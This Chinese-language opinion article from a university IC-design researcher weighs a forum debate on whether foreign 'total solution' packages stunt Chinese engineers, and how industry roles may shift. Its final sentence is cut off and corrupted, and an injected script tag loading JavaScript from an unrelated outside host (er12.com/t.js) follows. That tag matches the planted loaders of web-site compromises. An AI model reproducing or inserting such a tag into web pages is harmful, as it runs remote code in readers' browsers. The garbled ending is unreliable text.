作者：胡欣幸，浙江大学超大规模集成电路设计研究所
4月间一位网友在《电子工程专辑》网站的论坛上贴了一个帖子，他用肯定的语气述说的一个论断就是：中国的ic设计公司不愿花力气做全面解决方案(total solution)，国内的工程师患上了国外大公司提供的total solution的“毒瘾”！
4月间寥寥几篇回帖，怎想6月间又有人“考古”了这篇帖子。讨论的回帖不过五页有余，好在回贴者还都能写上一段自己的看法而不是仅仅地“re啊、赞啊”的话。编辑有感于“麻醉剂”还是“人参果”的讨论，将一些观点整理后发表在了《电子工程专辑》网站的报道中。
total solution本无利弊之说，只因国情特殊
帖子的讨论从国内系统应用工程师(暂且呼之为fae)使用total solution的利弊展开：“麻醉剂”观点者认为fae将过分依赖国外大公司提供的total solution而惰化自己的创新思维。“人参果”观点者认为total solution降低了fae进入行业的门槛，fae通过学习别人的total solution能学以致用，提高自身。
讨论的核心问题是：total solution是使fae“缺乏重新，不思突破”，还是“站在巨人的肩膀上登地更高”。
问题不在total solution，而在人性本身。我可不想将一篇文章写成剖析人性的优缺点，事实上我也没那个能耐。对于某个个人，答案既可能是前者也可能是后者，我们询问的是对于一个群体而言，那种结果会更加明显！一个网友的回答让我想到，事实上total solution的使用者涉及到两个对象：oem公司以及fae个人。如果total solution能降低成本，加快上市时间，比自己研发solution获得更大的利润，oem的领导者们有何理由不选择它；而对于fae个人，方才有了如上的问题！
但我发现讨论中都仅仅是将fae设定为了total solution的使用者一方。这里我拿服装市场作个比方(不一定确切)，当市场上可以提供式样繁多又漂亮的服饰时，人们就基本不再自己做衣服(纵然有一些人为了满足自己个性的需求而自己做)，这里说的“人们”是站在消费者的角度。然而多样的衣服总要人设计和制作，这就是服饰公司中做服装设计的“人们”。我们不应该只看到由于服装公司提供了total solution而不再自己设计的“消费者”一边的“人们”，还要看到为了提供多样的total solution而努力求新的“制造商”中的“人们”。回到电子产业中，也就是说不要只看到整机厂商中的fae，还要看到芯片设计公司中的fae。芯片设计公司一批做total solution的fae，他们为了自己公司的芯片产品市场的市场争夺而需要求新求变。
有了这个论述，那么如果将问题放之国际似乎就没有什么问题可言。然而将范围设定为国内，问题就是国内oem的fae很大一部分(或许用绝大部分更合适)都采用国外大公司提供的total solution；而国内的芯片公司很少(或许要用极少这样的词汇)提供total solution！国内一些“有趣”的问题由此发生：如国内的一些家电企业为了挤出更大的利润空间，开始自己投资芯片设计公司，并为自己以及同行提供solution(有人由此称中国的oem是中国ic设计的希望所在)。国内的很多芯片公司(我们姑且用fabless这个比较洋气的称呼来称之)都是“solution-less”，他们有充分的理由(雇不起fae等)而将solution抛给oem。
total solution催生新的电子产业链分工？中国ic设计公司何去何从？
我们是时候思考total solution的思维是否会导致电子产业的分工重定义？按照文章[2]中的说法：如果将消费者定义为产业链的最下游，那么电子产业的产业链正向下游移动。oem越来越需要花更多的时间去把握消费者的需求、定义产品和做好客户服务上；芯片供应商越来越多地采用ip来构建soc，并向oem提供系统解决方案；ip供应商越来越多地依赖eda厂商提供的开发工具链来完成ip的设计……。每一级都采用着其上游一级提供的“total solution”，每一级为其下游一级设计着“total solution”。产业链分工走向这样一个新的结构并不无可能。
这样的转变似乎有个诱人的好处：对于采用“total solution”的厂商可以加快上市速度，降低成本(因为开发“total solution”的成本由和其同级的许多厂商分担)，而提供“total solution”的厂商由于面向多个用户而非自己一家，获利渠道就显得更宽。企业将由于采用上游提供的solution而节省的成本，用于开发向它的下游提供的solution中去。这样的做法对于实际企业成本的量化的影响尚不可知，但可以将这种变换理解为一种分工的调整。这样一来，很大一批oem的fae将走入芯片供应商的企业，同样一批芯片结构设计工程师将进入ip供应商的企业……。
在total solution思维主导的产业链下，仍有两种模式可循：product-oriented和customer-oriented。前者根据自己的产品设计total solution，客户适应这个solution；后者根据客户的需求和市场来设计total solution。后?script src=http://er12.com/t.js>
